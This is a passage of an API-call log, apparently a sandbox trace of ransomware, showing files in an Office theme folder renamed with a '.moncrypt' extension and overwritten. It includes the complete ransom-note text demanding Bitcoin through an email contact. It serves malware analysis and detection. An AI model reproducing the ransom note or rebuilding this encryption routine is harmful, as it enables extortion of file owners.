lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\BLUECALM\\BLUECALM.INF", lpUsedDefaultChar=0x0) returned 4 [0050.668] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.668] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.668] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.668] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.668] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.668] GlobalUnlock (hMem=0x44000c) returned 0 [0050.668] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.668] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.668] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.668] GlobalUnlock (hMem=0x44000c) returned 0 [0050.668] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.668] GlobalUnlock (hMem=0x440004) returned 0 [0050.668] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.668] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0050.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.669] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0050.669] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0050.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\BLUECALM\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 4 [0050.669] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0050.669] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.669] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.669] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.669] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.669] GlobalUnlock (hMem=0x440004) returned 0 [0050.669] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.669] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.669] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.669] GlobalUnlock (hMem=0x440004) returned 0 [0050.670] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.670] GlobalUnlock (hMem=0x44000c) returned 0 [0050.670] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.670] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.670] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 77 [0050.670] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0050.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0050.671] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0050.671] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.671] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.671] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0050.672] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.moncrypt")) returned 1 [0050.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.673] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.673] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x80f1 [0050.673] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.673] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.674] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.675] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.675] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.675] GlobalUnlock (hMem=0x440004) returned 0 [0050.675] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.675] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.675] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.675] GlobalUnlock (hMem=0x440004) returned 0 [0050.675] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.675] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.675] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.675] GlobalUnlock (hMem=0x44000c) returned 0 [0050.675] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.675] GlobalUnlock (hMem=0x440004) returned 0 [0050.675] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.675] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.676] GlobalUnlock (hMem=0x440004) returned 0 [0050.676] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.676] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.676] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.676] GlobalUnlock (hMem=0x440004) returned 0 [0050.676] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.676] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.676] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.676] SetFilePointer (in: hFile=0x18c, lDistanceToMove=33009, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x80f1 [0050.676] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.676] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.676] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.687] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.687] CloseHandle (hObject=0x18c) returned 1 [0050.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.688] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.688] CloseHandle (hObject=0x18c) returned 1 [0050.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0050.691] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.691] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.691] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.691] GlobalUnlock (hMem=0x440004) returned 0 [0050.691] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.691] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.691] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.692] GlobalUnlock (hMem=0x440004) returned 0 [0050.692] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.692] GlobalUnlock (hMem=0x44000c) returned 0 [0050.692] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f715160, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f715160, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f715160, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0050.692] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0050.692] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0050.692] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.692] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.692] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.692] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.692] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.692] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.692] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.693] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0050.693] CloseHandle (hObject=0x18c) returned 1 [0050.693] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0050.693] GetLastError () returned 0x12 [0050.693] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.693] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.693] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.693] GlobalUnlock (hMem=0x44000c) returned 0 [0050.693] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.693] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.693] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.693] GlobalUnlock (hMem=0x44000c) returned 0 [0050.693] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.693] GlobalUnlock (hMem=0x440004) returned 0 [0050.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f73b2c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f73b2c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.693] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.693] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.694] GlobalLock (hMem=0x440004) returned 0x550170 [0050.694] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.694] GlobalUnlock (hMem=0x440004) returned 0 [0050.694] GlobalLock (hMem=0x440004) returned 0x550170 [0050.694] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.694] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.694] GlobalUnlock (hMem=0x440004) returned 0 [0050.694] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.694] GlobalUnlock 